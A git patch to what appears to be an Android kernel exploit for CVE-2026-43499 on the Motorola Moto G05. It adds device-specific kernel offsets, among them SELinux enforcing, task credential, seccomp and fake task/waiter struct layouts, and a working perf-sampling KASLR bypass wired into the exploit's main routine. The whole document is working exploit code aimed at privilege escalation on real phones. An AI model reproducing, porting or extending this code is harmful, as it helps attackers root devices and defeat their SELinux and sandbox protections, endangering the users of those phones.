From a04f206252417f65e99746d851262cb31cc2412a Mon Sep 17 00:00:00 2001 From: Mohammed Riad <1@mhmrdd.me> Date: Sat, 11 Jul 2026 19:15:15 +0100 Subject: [PATCH] feat(CVE-2026-43499): add lamu (Moto G05) target with perf KASLR leak --- IonStack/CVE-2026-43499/exploit/src/common.h | 1 + IonStack/CVE-2026-43499/exploit/src/main.c | 13 +- .../src/targets/lamu-VVTA35.51-28-26/target.h | 192 ++++++++++++++++++ IonStack/CVE-2026-43499/exploit/src/util.c | 119 +++++++++++ 4 files changed, 323 insertions(+), 2 deletions(-) create mode 100644 IonStack/CVE-2026-43499/exploit/src/targets/lamu-VVTA35.51-28-26/target.h diff --git a/IonStack/CVE-2026-43499/exploit/src/common.h b/IonStack/CVE-2026-43499/exploit/src/common.h index f2e00aa0..9f04814b 100644 --- a/IonStack/CVE-2026-43499/exploit/src/common.h +++ b/IonStack/CVE-2026-43499/exploit/src/common.h @@ -407,6 +407,7 @@ int hex_value(char c); uint64_t slide_read_stext(void); uint64_t slide_child_leak_stext(void); int slide_leak_kernel_base(void); +uint64_t perf_leak_text_base(void); ssize_t configfs_write_once( int fd, uintptr_t target, const void *data, size_t len); diff --git a/IonStack/CVE-2026-43499/exploit/src/main.c b/IonStack/CVE-2026-43499/exploit/src/main.c index de543c8e..b3cba3ea 100644 --- a/IonStack/CVE-2026-43499/exploit/src/main.c +++ b/IonStack/CVE-2026-43499/exploit/src/main.c @@ -180,8 +180,17 @@ int run_exploit(int argc, char **argv) { init_ashmem_path(); pin_to_core(CORE); - if (!slide_leak_kernel_base()) { - pr_error("slide kaslr leak failed\n"); + /* KASLR base: try perf first, fall back to the slide leak. */ + uint64_t text_base = perf_leak_text_base(); + if (text_base) { + kaslr_base = text_base; + kaslr_slide = kaslr_base - KIMAGE_TEXT_BASE; + kaslr_done = 1; + pr_success("text-base-ok pid=%d text=%016llx slide=%016llx (perf)\n", + getpid(), (unsigned long long)kaslr_base, + (unsigned long long)kaslr_slide); + } else if (!slide_leak_kernel_base()) { + pr_error("kaslr leak failed\n"); return 1; } diff --git a/IonStack/CVE-2026-43499/exploit/src/targets/lamu-VVTA35.51-28-26/target.h b/IonStack/CVE-2026-43499/exploit/src/targets/lamu-VVTA35.51-28-26/target.h new file mode 100644 index 00000000..e56ffd14 --- /dev/null +++ b/IonStack/CVE-2026-43499/exploit/src/targets/lamu-VVTA35.51-28-26/target.h @@ -0,0 +1,192 @@ +#ifndef TARGET_H +#define TARGET_H + +#define BUILD_VARIANT_LABEL "lamu_VVTA35.51-28-26" +#define BUILD_FINGERPRINT "motorola/lamu_g/lamu:15/VVTA35.51-28-26/b23e7d:user/release-keys" + +#define KIMAGE_TEXT_BASE 0xffffffc080000000ULL +#define P0_PAGE_OFFSET 0xffffff8000000000ULL +#ifndef P0_PHYS_OFFSET +#define P0_PHYS_OFFSET 0x40000000ULL +#endif +#ifndef P0_KERNEL_PHYS_LOAD +#define P0_KERNEL_PHYS_LOAD 0x40080000ULL +#endif +#define KERNELSNITCH_IDENTITY_START 0xffffff8000000000ULL +#define KERNELSNITCH_IDENTITY_END 0xffffff9000000000ULL +#define DIRECT_MAP_BASE 0xffffff8000000000ULL +#define DIRECT_MAP_END 0xffffff9000000000ULL +#define VMEMMAP_START 0xfffffffe00000000ULL + +#define PSELECT_WAITER_WORD_SHIFT 0 + +#define ASHMEM_MISC_FOPS_OFF 0x02187428ULL +#define ASHMEM_FOPS_OFF 0x01279f70ULL +#define ASHMEM_IOCTL_OFF 0x00c48808ULL +#define ASHMEM_COMPAT_IOCTL_OFF 0x00c48ec4ULL +#define ASHMEM_MMAP_OFF 0x00c48f18ULL +#define ASHMEM_OPEN_OFF 0x00c49138ULL +#define ASHMEM_RELEASE_OFF 0x00c491c0ULL +#define ASHMEM_SHOW_FDINFO_OFF 0x00c4924cULL +#define CONFIGFS_READ_ITER_OFF 0x00466adcULL +#define CONFIGFS_BIN_WRITE_ITER_OFF 0x00467008ULL +#define COPY_SPLICE_READ_OFF 0x003ec338ULL +#define NOOP_LLSEEK_OFF 0x0039fa84ULL +#define INIT_TASK_OFF 0x0202cac0ULL +#define INIT_UTS_NS_OFF 0x021ad758ULL +#define EMPTY_ZERO_PAGE_OFF 0x02212000ULL +#define ROOT_TASK_GROUP_OFF 0x0221a500ULL +#define SELINUX_BLOB_SIZES_OFF 0x015e9520ULL +#define SELINUX_ENFORCING_OFF 0x0225b878ULL +#define SECURITY_HOOK_HEADS_OFF 0x015e8de8ULL +#define KMALLOC_CACHES_OFF 0x015e8930ULL +#define ANON_PIPE_BUF_OPS_OFF 0x010fb248ULL + +#define ASHMEM_MISC_FOPS (KIMAGE_TEXT_BASE + ASHMEM_MISC_FOPS_OFF) +#define ASHMEM_FOPS (KIMAGE_TEXT_BASE + ASHMEM_FOPS_OFF) +#define ASHMEM_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_IOCTL_OFF) +#define ASHMEM_COMPAT_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_COMPAT_IOCTL_OFF) +#define ASHMEM_MMAP (KIMAGE_TEXT_BASE + ASHMEM_MMAP_OFF) +#define ASHMEM_OPEN (KIMAGE_TEXT_BASE + ASHMEM_OPEN_OFF) +#define ASHMEM_RELEASE (KIMAGE_TEXT_BASE + ASHMEM_RELEASE_OFF) +#define ASHMEM_SHOW_FDINFO (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_OFF) +#define CONFIGFS_READ_ITER (KIMAGE_TEXT_BASE + CONFIGFS_READ_ITER_OFF) +#define CONFIGFS_BIN_WRITE_ITER (KIMAGE_TEXT_BASE + CONFIGFS_BIN_WRITE_ITER_OFF) +#define COPY_SPLICE_READ (KIMAGE_TEXT_BASE + COPY_SPLICE_READ_OFF) +#define NOOP_LLSEEK (KIMAGE_TEXT_BASE + NOOP_LLSEEK_OFF) +#define INIT_TASK (KIMAGE_TEXT_BASE + INIT_TASK_OFF) +#define INIT_UTS_NS (KIMAGE_TEXT_BASE + INIT_UTS_NS_OFF) +#define EMPTY_ZERO_PAGE (KIMAGE_TEXT_BASE + EMPTY_ZERO_PAGE_OFF) +#define ROOT_TASK_GROUP (KIMAGE_TEXT_BASE + ROOT_TASK_GROUP_OFF) +#define SELINUX_BLOB_SIZES (KIMAGE_TEXT_BASE + SELINUX_BLOB_SIZES_OFF) +#define SELINUX_ENFORCING (KIMAGE_TEXT_BASE + SELINUX_ENFORCING_OFF) +#define SECURITY_HOOK_HEADS (KIMAGE_TEXT_BASE + SECURITY_HOOK_HEADS_OFF) +#define KMALLOC_CACHES (KIMAGE_TEXT_BASE + KMALLOC_CACHES_OFF) +#define ANON_PIPE_BUF_OPS (KIMAGE_TEXT_BASE + ANON_PIPE_BUF_OPS_OFF) + +#define SLIDE_NFULNL_LOGGER_OFF 0x020211a0ULL +#define SLIDE_LOGGERS_0_1_OFF 0x020211a0ULL +#define SLIDE_INIT_TASK_OFF INIT_TASK_OFF +#define SLIDE_ROOT_TASK_GROUP_OFF ROOT_TASK_GROUP_OFF +#define SLIDE_RANDOM_BOOT_ID_DATA_OFF 0x0227c858ULL +#define SLIDE_SYSCTL_BOOTID_OFF 0x02145170ULL + +#define SLIDE_NFULNL_LOGGER_IMAGE \ + (KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_OFF) +#define SLIDE_LOGGERS_0_1_IMAGE \ + (KIMAGE_TEXT_BASE + SLIDE_LOGGERS_0_1_OFF) +#define SLIDE_RANDOM_BOOT_ID_DATA_IMAGE \ + (KIMAGE_TEXT_BASE + SLIDE_RANDOM_BOOT_ID_DATA_OFF) +#define SLIDE_INIT_TASK_IMAGE (KIMAGE_TEXT_BASE + SLIDE_INIT_TASK_OFF) +#define SLIDE_ROOT_TASK_GROUP_IMAGE \ + (KIMAGE_TEXT_BASE + SLIDE_ROOT_TASK_GROUP_OFF) +#define SLIDE_SYSCTL_BOOTID_IMAGE \ + (KIMAGE_TEXT_BASE + SLIDE_SYSCTL_BOOTID_OFF) + +#define LOCK_OFF 0x1350 +#define W0_OFF 0x2220 +#define FOPS_OFF 0x1000 +#define SCRATCH_OFF 0x3000 +#define RIGHT_OFF 0x4440 +#define LEFT_OFF 0x5550 +#define FAKE_TASK_OFF 0x3200 + +#define WAITER_LOCAL_OFF 0x80 +#define WAITER_TREE_ENTRY_OFF 0x00 +#define WAITER_PI_TREE_ENTRY_OFF 0x28 +#define WAITER_TASK_OFF 0x50 +#define WAITER_LOCK_OFF 0x58 +#define WAITER_WAKE_STATE_OFF 0x60 +#define WAITER_PRIO_OFF 0x40 +#define WAITER_DEADLINE_OFF 0x48 +#define WAITER_WW_CTX_OFF 0x68 + +#define FAKE_WAITER_TREE_PRIO_OFF 0x18 +#define FAKE_WAITER_TREE_DEADLINE_OFF 0x20 +#define FAKE_WAITER_PI_TREE_ENTRY_OFF 0x28 +#define FAKE_WAITER_PI_TREE_PRIO_OFF 0x40 +#define FAKE_WAITER_PI_TREE_DEADLINE_OFF 0x48 +#define FAKE_WAITER_TASK_OFF 0x50 +#define FAKE_WAITER_LOCK_OFF 0x58 +#define FAKE_WAITER_WAKE_STATE_OFF 0x60 +#define FAKE_WAITER_WW_CTX_OFF 0x68 + +#define MM_OWNER_OFF 1032 +#define TASK_PID_OFF 0x618 +#define TASK_TGID_OFF 0x61c +#define TASK_REAL_PARENT_OFF 0x628 +#define TASK_ATOMIC_FLAGS_OFF 0x5d8 +#define TASK_REAL_CRED_OFF 0x818 +#define TASK_CRED_OFF 0x820 +#define TASK_COMM_OFF 0x830 +#define TASK_TASKS_OFF 0x550 +#define TASK_THREAD_INFO_FLAGS_OFF 0x00 +#define TASK_SECCOMP_OFF 0x8e8 + +#define FAKE_TASK_USAGE_OFF 0x40 +#define FAKE_TASK_PRIO_OFF 0x84 +#define FAKE_TASK_NORMAL_PRIO_OFF 0x8c +#define FAKE_TASK_TASK_GROUP_OFF 0x348 +#define FAKE_TASK_PI_LOCK_OFF 0x90c +#define FAKE_TASK_PI_WAITERS_OFF 0x920 +#define FAKE_TASK_PI_TOP_TASK_OFF 0x930 +#define FAKE_TASK_PI_BLOCKED_ON_OFF 0x938 + +#define CFG_PAGE_OFF 16 +#define CFG_NEEDS_READ_FILL_OFF 80 +#define CFG_BIN_BUFFER_OFF 88 +#define CFG_BIN_BUFFER_SIZE_OFF 96 +#define CFG_CB_MAX_SIZE_OFF 100 + +#define CRED_UID_OFF 8 +#define CRED_SECUREBITS_OFF 40 +#define CRED_CAPS_OFF 48 +#define CRED_SECURITY_OFF 128 +#define SELINUX_CRED_BLOB_OFF 0 +#define SELINUX_CRED_OSID_OFF 0 +#define SELINUX_CRED_SID_OFF 4 + +#define SECCOMP_MODE_OFF 0x00 +#define SECCOMP_FILTER_COUNT_OFF 0x04 +#define SECCOMP_FILTER_OFF 0x08 +#define TIF_SECCOMP_BIT 11 +#define PFA_NO_NEW_PRIVS_BIT 0 + +#define STRUCT_PAGE_SIZE 0x40 +#define STRUCT_PAGE_COMPOUND_HEAD_OFF 0x08 +#define STRUCT_SLAB_CACHE_OFF 0x08 +#define STRUCT_PAGE_TYPE_OFF 0x30 + +#define PIPE_BUFFER_SIZE 0x28 +#define PIPE_BUFFER_SLOTS 32 +#define PIPE_BUF_FLAG_CAN_MERGE 0x10 +#define PIPE_INODE_INFO_STRUCT_SIZE 0xb8 +#define PIPE_INODE_INFO_SIZE 0xc0 +#define PIPE_INODE_INFO_SLOTS_PER_PAGE 21 +#define PIPE_HEAD_OFF 0x60 +#define PIPE_TAIL_OFF 0x64 +#define PIPE_MAX_USAGE_OFF 0x68 +#define PIPE_RING_SIZE_OFF 0x6c +#define PIPE_NR_ACCOUNTED_OFF 0x70 +#define PIPE_READERS_OFF 0x74 +#define PIPE_WRITERS_OFF 0x78 +#define PIPE_FILES_OFF 0x7c +#define PIPE_TMP_PAGE_OFF 0x90 +#define PIPE_BUFS_OFF 0xa8 +#define PIPE_USER_OFF 0xb0 + +#define FOPS_OWNER_OFF 0x00 +#define FOPS_LLSEEK_OFF 0x08 +#define FOPS_READ_OFF 0x10 +#define FOPS_WRITE_OFF 0x18 +#define FOPS_READ_ITER_OFF 0x20 +#define FOPS_WRITE_ITER_OFF 0x28 +#define FOPS_IOCTL_OFF 0x48 +#define FOPS_COMPAT_IOCTL_OFF 0x50 +#define FOPS_MMAP_OFF 0x58 +#define FOPS_OPEN_OFF 0x68 +#define FOPS_RELEASE_OFF 0x78 +#define FOPS_SPLICE_READ_OFF 0xb8 +#define FOPS_SHOW_FDINFO_OFF 0xd8 + +#endif diff --git a/IonStack/CVE-2026-43499/exploit/src/util.c b/IonStack/CVE-2026-43499/exploit/src/util.c index 4c6ea2be..a38a3196 100644 --- a/IonStack/CVE-2026-43499/exploit/src/util.c +++ b/IonStack/CVE-2026-43499/exploit/src/util.c @@ -1,5 +1,6 @@ #include "common.h" #include "kernelsnitch/kernelsnitch.h" +#include static struct kernelsnitch_shared_state *ks; static size_t mm_objs_per_slab; @@ -771,3 +772,121 @@ ssize_t kernel_write_data(int fd, uintptr_t target, const void *data, size_t len ssize_t kernel_read_data(int fd, uintptr_t target, void *data, size_t len) { return configfs_read_once(fd, target, data, len); } + +#define PERF_LEAK_ALIGN 0x200000ULL +#define PERF_LEAK_MMAP_PAGES 8 + +/* KASLR TEXT base via perf kernel-IP sampling, min IP rounded to 2 MiB plus + * TEXT_OFFSET gives _text. */ +uint64_t perf_leak_text_base(void) { + /* perf_event_paranoid > 1 blocks kernel samples for unprivileged callers. */ + int pfd = open("/proc/sys/kernel/perf_event_paranoid", O_RDONLY | O_CLOEXEC); + if (pfd >= 0) { + char pbuf[16]; + ssize_t pn = read(pfd, pbuf, sizeof(pbuf) - 1); + close(pfd); + if (pn > 0) { + pbuf[pn] = 0; + if (atoi(pbuf) > 1) { + pr_warning("perf text-base perf_event_paranoid too high\n"); + return 0; + } + } + } + + struct perf_event_attr pe; + memset(&pe, 0, sizeof(pe)); + pe.type = PERF_TYPE_SOFTWARE; + pe.config = PERF_COUNT_SW_CPU_CLOCK; + pe.size = sizeof(pe); + pe.sample_period = 1; + pe.sample_type = PERF_SAMPLE_IP; + pe.exclude_user = 1; + pe.exclude_hv = 1; + pe.disabled = 1; + pe.wakeup_events = 1; + + int fd = (int)syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0); + if (fd < 0) { + pe.sample_period = 100000; + fd = (int)syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0); + } + if (fd < 0) { + pr_warning("perf text-base perf_event_open errno=%d\n", errno); + return 0; + } + + size_t mmap_size = (size_t)(1 + PERF_LEAK_MMAP_PAGES) * (size_t)PAGE_SIZE; + void *mmap_buf = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, 0); + if (mmap_buf == MAP_FAILED) { + pr_warning("perf text-base mmap errno=%d\n", errno); + close(fd); + return 0; + } + + struct perf_event_mmap_page *header = + (struct perf_event_mmap_page *)mmap_buf; + uint64_t min_kip = ~(uint64_t)0; + int kernel_samples = 0; + + ioctl(fd, PERF_EVENT_IOC_RESET, 0); + ioctl(fd, PERF_EVENT_IOC_ENABLE, 0); + + for (volatile long i = 0; i < 500000; i++) { + if ((i % 10000) == 0) { + sched_yield(); + } + } + + ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); + + uint64_t data_tail = header->data_tail; + uint64_t data_head = header->data_head; + __sync_synchronize(); + uint64_t data_size = (uint64_t)PERF_LEAK_MMAP_PAGES * (uint64_t)PAGE_SIZE; + uint8_t *base = (uint8_t *)mmap_buf + PAGE_SIZE; + + while (data_tail < data_head) { + struct perf_event_header *ev = + (struct perf_event_header *)(base + (data_tail % data_size)); + if (ev->size == 0) { + break; + } + if (data_tail + ev->size > data_head) { + break; + } + if (ev->type == PERF_RECORD_SAMPLE && + (ev->misc & PERF_RECORD_MISC_KERNEL)) { + uint64_t ip = *(uint64_t *)((uint8_t *)ev + sizeof(*ev)); + /* keep kernel-text IPs only, drop module IPs (< KIMAGE_TEXT_BASE) */ + if (ip >= KIMAGE_TEXT_BASE && ip < min_kip) { + min_kip = ip; + } + kernel_samples++; + } + data_tail += ev->size; + } + header->data_tail = data_tail; + + munmap(mmap_buf, mmap_size); + close(fd); + + if (kernel_samples == 0 || min_kip == ~(uint64_t)0) { + pr_warning("perf text-base no kernel samples collected\n"); + return 0; + } + + uint64_t text_base = + (min_kip & ~(PERF_LEAK_ALIGN - 1)) + P0_KERNEL_PHYS_DELTA; + if (text_base < KIMAGE_TEXT_BASE) { + pr_warning("perf text-base out of range: %016llx\n", + (unsigned long long)text_base); + return 0; + } + pr_success("perf text-base pid=%d samples=%d min_kip=%016llx " + "text_base=%016llx\n", + getpid(), kernel_samples, (unsigned long long)min_kip, + (unsigned long long)text_base); + return text_base; +}